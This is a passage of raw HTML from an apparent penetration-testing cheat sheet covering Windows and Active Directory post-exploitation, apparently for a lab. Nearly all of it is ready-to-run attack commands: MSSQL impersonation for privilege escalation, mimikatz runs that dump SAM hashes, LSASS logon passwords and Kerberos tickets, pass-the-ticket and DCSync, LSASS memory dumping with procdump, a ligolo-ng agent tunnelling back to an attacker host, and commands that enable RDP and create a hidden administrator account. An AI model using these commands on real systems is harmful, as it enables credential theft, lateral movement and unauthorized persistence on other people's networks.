$cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Database-level permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT * FROM fn_my_permissions(NULL, &amp;#39;DATABASE&amp;#39;)&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# SQL Server version&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT @@version&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Server name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT @@SERVERNAME&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Current database&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT DB_NAME()&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MSSQL privilege-escalation technique&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This MSSQL privilege-escalation method uses IMPERSONATE permission:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;First, check whether another user can be impersonated:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-- Query users that can be impersonated&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SELECT distinct b.name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;FROM sys.server_permissions a&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;INNER JOIN sys.server_principals b&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ON a.grantor_principal_id = b.principal_id&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WHERE a.permission_name = &amp;#39;IMPERSONATE&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &amp;#39;IMPERSONATE&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The hrappdb-reader user can be impersonated&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Perform impersonation:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EXECUTE AS LOGIN = &amp;#39;hrappdb-reader&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Successful impersonation grants hrappdb-reader permissions and access to the hrappdb database&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="64mimikatz"&gt;&lt;a href="#64mimikatz" class="header-anchor"&gt;&lt;/a&gt;64.mimikatz&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Mimikatz one-line execution command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;privilege::debug&amp;#34; &amp;#34;token::elevate&amp;#34; &amp;#34;lsadump::sam&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe /c &amp;#34;privilege::debug&amp;#34; /c &amp;#34;token::elevate&amp;#34; /c &amp;#34;lsadump::sam&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz &amp;#34;privilege::debug&amp;#34; &amp;#34;token::elevate&amp;#34; &amp;#34;lsadump::sam&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Extract all credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; lsadump::sam sekurlsa::msv lsadump::secrets lsadump::cache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;lsadump::sam&amp;#34; &amp;#34;privilege::debug&amp;#34; &amp;#34;sekurlsa::msv&amp;#34; &amp;#34;lsadump::secrets&amp;#34; &amp;#34;lsadump::cache&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Extract all logon credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;token::elevate&amp;#34; &amp;#34;privilege::debug&amp;#34; &amp;#34;sekurlsa::logonpasswords&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or extract domain-administrator credentials specifically&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;privilege::debug&amp;#34; &amp;#34;sekurlsa::logonpasswords /user:administrator&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Extract potentially available usernames and passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;privilege::debug&amp;#34; &amp;#34;sekurlsa::credman&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If running as administrator, try retrieving tickets from the current computer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using the sekurlsa module (from LSASS memory):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# From the running LSASS process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::tickets # View all tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::tickets /export # Export all tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;privilege::debug&amp;#34; &amp;#34;sekurlsa::tickets&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# From a dump file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::minidump lsass.dmp # Load the dump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::tickets # View tickets in the dump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using the kerberos module (from the current session):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# View tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::list # List tickets in the current session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::tgt # View the current TGT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::purge # Purge all tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Export tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::list /export # Export all tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Tickets are exported as .kirbi files by default&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Ticket operations&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptt ticket.kirbi # Inject a ticket (Pass the Ticket)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Domain-controller synchronization with DCSync&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::dcsync /user:DC01\web_svc&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::dcsync /user:corp\Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="65domain-admin-login-history"&gt;&lt;a href="#65domain-admin-login-history" class="header-anchor"&gt;&lt;/a&gt;65.Domain Admin Login History&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View domain-administrator logon sessions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;query user /server:localhost&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check logon history in the registry&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg query &amp;#34;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create an LSASS dump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;procdump.exe -ma lsass.exe lsass.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;procdump.exe -accepteula -ma lsass.exe lsass.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pypykatz lsa minidump lsass.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then analyze it with Mimikatz&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;sekurlsa::minidump lsass.dmp&amp;#34; &amp;#34;sekurlsa::logonpasswords&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="66domain-information-gathering"&gt;&lt;a href="#66domain-information-gathering" class="header-anchor"&gt;&lt;/a&gt;66.Domain Information Gathering&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View domain controllers&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nltest /dclist:medtech.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nslookup -type=SRV _ldap._tcp.medtech.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nslookup -type=SRV _gc._tcp.medtech.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="67ligolo-ng"&gt;&lt;a href="#67ligolo-ng" class="header-anchor"&gt;&lt;/a&gt;67.ligolo-ng&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/nicocha30/ligolo-ng/releases/tag/v0.7.3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Attacker machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo ip tuntap add user $(whoami) mode tun ligolo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo ip link set ligolo up&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./proxy -selfcert&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\agent.exe -connect 192.168.45.184:11601 -ignore-cert&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Configure routing&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo ip route add 10.10.174.0/24 dev ligolo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;session # Show all available sessions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;session list # List all sessions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;session &amp;lt;ID&amp;gt; # Select a specific sessionifconfig # Show network-interface configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;info # Show current-session information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;listener_list # Show all listeners&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopystart # Start the selected session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stop # Stop the current session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="68windows-add-a-user-to-the-remote-desktop-users-group"&gt;&lt;a href="#68windows-add-a-user-to-the-remote-desktop-users-group" class="header-anchor"&gt;&lt;/a&gt;68.Windows: Add a User to the Remote Desktop Users Group&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#Enable Remote Desktop&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal&amp;#34; &amp;#34;Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cmd /c net user gesila Admin@123 /add&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cmd /c net localgroup Administrators gesila /add&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cmd /c net localgroup &amp;#34;Remote Desktop Users&amp;#34; gesila /add&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Domain format&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;xfreerdp /u:medtech.com\\joe /p:Flowers1 /v:192.168.170.121 +clipboard /drive:data,/data /workarea&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 